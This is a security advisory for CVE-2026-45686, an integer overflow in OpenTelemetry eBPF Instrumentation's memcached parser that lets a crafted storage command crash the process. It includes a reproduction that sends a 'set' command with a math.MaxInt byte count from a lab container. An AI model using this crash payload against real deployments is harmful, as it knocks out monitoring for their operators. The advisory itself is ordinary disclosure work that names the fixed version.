GHSA-43G7-CWR8-Q3JH
Vulnerability from github – Published: 2026-05-18 20:21 – Updated: 2026-06-09 10:58Summary
A remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large <bytes> values and adds the payload delimiter length without checking for overflow. A crafted request with <bytes> set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek.
Details
The issue is in the memcached request parser at pkg/ebpf/common/memcached_detect_transform.go.
memcachedCommandBytesField parses the storage command <bytes> field with strconv.Atoi and only rejects negative values:
size, err := strconv.Atoi(string(fields[4]))
if err != nil || size < 0 {
return 0, false
}
Because there is no upper bound check, values up to math.MaxInt are accepted.
memcachedConsumeStoragePayload then computes the payload length by adding the trailing \r\n delimiter length:
payloadLen := bytesField + len(memcachedDelimBytes)
payload, err := r.Peek(payloadLen)
If bytesField is math.MaxInt or math.MaxInt-1, this addition overflows the signed int and produces a negative payloadLen.
That negative length is passed into LargeBufferReader.Peek in pkg/internal/largebuf/large_buffer.go. Peek checks whether n > Remaining() but does not reject negative values before slicing:
if r.rchunk < len(r.lb.chunks) && r.roff+n <= len(r.lb.chunks[r.rchunk]) {
return r.lb.chunks[r.rchunk][r.roff : r.roff+n], nil
}
With a negative n, the slice expression uses a negative upper bound and causes a Go runtime panic. Since OBI runs as a privileged instrumentation process and parses observed memcached traffic, an attacker who can send crafted memcached storage commands to an instrumented service can crash OBI remotely.
Affected logic identified by the scan:
pkg/ebpf/common/memcached_detect_transform.go:322pkg/ebpf/common/memcached_detect_transform.go:386pkg/internal/largebuf/large_buffer.go:501
PoC
The repository already contains a runnable memcached fixture under internal/test/oats/memcached/. The steps below reproduce the crash using only files from this repository.
- From the repository root, start the checked-in memcached environment:
bash
docker compose \
-f internal/test/oats/memcached/docker-compose-include-base.yml \
-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
up --build
This starts:
memcachedon port11211testserver, the Python app ininternal/test/integration/components/pythonmemcached/main.pyautoinstrumenter, the OBI process launched with--config=/configs/instrumenter-config-traces.yml
The relevant repo-local files are:
internal/test/oats/memcached/docker-compose-obi-python-memcached.yml-
internal/test/oats/memcached/configs/instrumenter-config-traces.yml -
In a second shell, confirm the environment is working:
bash
curl http://127.0.0.1:8080/memcached
- From the same repository root, send a crafted memcached storage command from inside the instrumented
testservercontainer. On 64-bit systems, use9223372036854775807(math.MaxInt):
bash
docker compose \
-f internal/test/oats/memcached/docker-compose-include-base.yml \
-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
exec testserver \
python -c 'import socket; s=socket.create_connection(("memcached",11211), timeout=5); s.sendall(b"set crash 0 0 9223372036854775807\r\nvalue\r\n"); s.close()'
On 32-bit systems, replace 9223372036854775807 with 2147483647.
- OBI parses the request header, accepts the
<bytes>field as anint, and computes:
go
payloadLen = bytesField + len("\r\n")
-
That addition overflows negative and the negative
payloadLenis passed toLargeBufferReader.Peek, which slices with an invalid bound and panics. -
Confirm the crash by checking the
autoinstrumentercontainer status or logs:
bash
docker compose \
-f internal/test/oats/memcached/docker-compose-include-base.yml \
-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
ps autoinstrumenter
bash
docker compose \
-f internal/test/oats/memcached/docker-compose-include-base.yml \
-f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \
logs autoinstrumenter
The expected result is that the OBI process crashes with a panic originating from LargeBufferReader.Peek, with the call path including memcachedConsumeStoragePayload.
Impact
This is a remote denial-of-service vulnerability in OBI's memcached protocol parsing path.
Impacted deployments are those where:
- OBI is running with the vulnerable memcached parser, and
- OBI observes memcached text protocol traffic from applications or services that an attacker can reach or influence.
A successful attack does not require code execution or authentication against OBI itself. An attacker only needs to cause a vulnerable instrumented service to emit or receive a crafted memcached storage command. The result is a panic in OBI and loss of telemetry collection until the process is restarted.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "go.opentelemetry.io/obi"
},
"ranges": [
{
"events": [
{
"introduced": "0.7.0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45686"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T20:21:52Z",
"nvd_published_at": "2026-06-02T16:16:43Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA remotely reachable integer overflow in OBI\u0027s memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as `set`, `add`, `replace`, `append`, `prepend`, or `cas`, OBI accepts extremely large `\u003cbytes\u003e` values and adds the payload delimiter length without checking for overflow. A crafted request with `\u003cbytes\u003e` set to `math.MaxInt` or `math.MaxInt-1` causes the computed payload length to wrap negative and triggers a runtime panic in `LargeBufferReader.Peek`.\n\n### Details\n\nThe issue is in the memcached request parser at `pkg/ebpf/common/memcached_detect_transform.go`.\n\n`memcachedCommandBytesField` parses the storage command `\u003cbytes\u003e` field with `strconv.Atoi` and only rejects negative values:\n\n```go\nsize, err := strconv.Atoi(string(fields[4]))\nif err != nil || size \u003c 0 {\n\treturn 0, false\n}\n```\n\nBecause there is no upper bound check, values up to `math.MaxInt` are accepted.\n\n`memcachedConsumeStoragePayload` then computes the payload length by adding the trailing `\\r\\n` delimiter length:\n\n```go\npayloadLen := bytesField + len(memcachedDelimBytes)\npayload, err := r.Peek(payloadLen)\n```\n\nIf `bytesField` is `math.MaxInt` or `math.MaxInt-1`, this addition overflows the signed `int` and produces a negative `payloadLen`.\n\nThat negative length is passed into `LargeBufferReader.Peek` in `pkg/internal/largebuf/large_buffer.go`. `Peek` checks whether `n \u003e Remaining()` but does not reject negative values before slicing:\n\n```go\nif r.rchunk \u003c len(r.lb.chunks) \u0026\u0026 r.roff+n \u003c= len(r.lb.chunks[r.rchunk]) {\n\treturn r.lb.chunks[r.rchunk][r.roff : r.roff+n], nil\n}\n```\n\nWith a negative `n`, the slice expression uses a negative upper bound and causes a Go runtime panic. Since OBI runs as a privileged instrumentation process and parses observed memcached traffic, an attacker who can send crafted memcached storage commands to an instrumented service can crash OBI remotely.\n\nAffected logic identified by the scan:\n\n- `pkg/ebpf/common/memcached_detect_transform.go:322`\n- `pkg/ebpf/common/memcached_detect_transform.go:386`\n- `pkg/internal/largebuf/large_buffer.go:501`\n\n### PoC\n\nThe repository already contains a runnable memcached fixture under `internal/test/oats/memcached/`. The steps below reproduce the crash using only files from this repository.\n\n1. From the repository root, start the checked-in memcached environment:\n\n ```bash\n docker compose \\\n -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n up --build\n ```\n\n This starts:\n\n - `memcached` on port `11211`\n - `testserver`, the Python app in `internal/test/integration/components/pythonmemcached/main.py`\n - `autoinstrumenter`, the OBI process launched with `--config=/configs/instrumenter-config-traces.yml`\n\n The relevant repo-local files are:\n\n - `internal/test/oats/memcached/docker-compose-obi-python-memcached.yml`\n - `internal/test/oats/memcached/configs/instrumenter-config-traces.yml`\n\n2. In a second shell, confirm the environment is working:\n\n ```bash\n curl http://127.0.0.1:8080/memcached\n ```\n\n3. From the same repository root, send a crafted memcached storage command from inside the instrumented `testserver` container. On 64-bit systems, use `9223372036854775807` (`math.MaxInt`):\n\n ```bash\n docker compose \\\n -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n exec testserver \\\n python -c \u0027import socket; s=socket.create_connection((\"memcached\",11211), timeout=5); s.sendall(b\"set crash 0 0 9223372036854775807\\r\\nvalue\\r\\n\"); s.close()\u0027\n ```\n\n On 32-bit systems, replace `9223372036854775807` with `2147483647`.\n\n4. OBI parses the request header, accepts the `\u003cbytes\u003e` field as an `int`, and computes:\n\n ```go\n payloadLen = bytesField + len(\"\\r\\n\")\n ```\n\n5. That addition overflows negative and the negative `payloadLen` is passed to `LargeBufferReader.Peek`, which slices with an invalid bound and panics.\n\n6. Confirm the crash by checking the `autoinstrumenter` container status or logs:\n\n ```bash\n docker compose \\\n -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n ps autoinstrumenter\n ```\n\n ```bash\n docker compose \\\n -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n logs autoinstrumenter\n ```\n\n The expected result is that the OBI process crashes with a panic originating from `LargeBufferReader.Peek`, with the call path including `memcachedConsumeStoragePayload`.\n\n### Impact\n\nThis is a remote denial-of-service vulnerability in OBI\u0027s memcached protocol parsing path.\n\nImpacted deployments are those where:\n\n- OBI is running with the vulnerable memcached parser, and\n- OBI observes memcached text protocol traffic from applications or services that an attacker can reach or influence.\n\nA successful attack does not require code execution or authentication against OBI itself. An attacker only needs to cause a vulnerable instrumented service to emit or receive a crafted memcached storage command. The result is a panic in OBI and loss of telemetry collection until the process is restarted.",
"id": "GHSA-43g7-cwr8-q3jh",
"modified": "2026-06-09T10:58:58Z",
"published": "2026-05-18T20:21:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-43g7-cwr8-q3jh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45686"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenTelemetry eBPF Instrumentation: Memcached payload length overflow can crash OBI"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.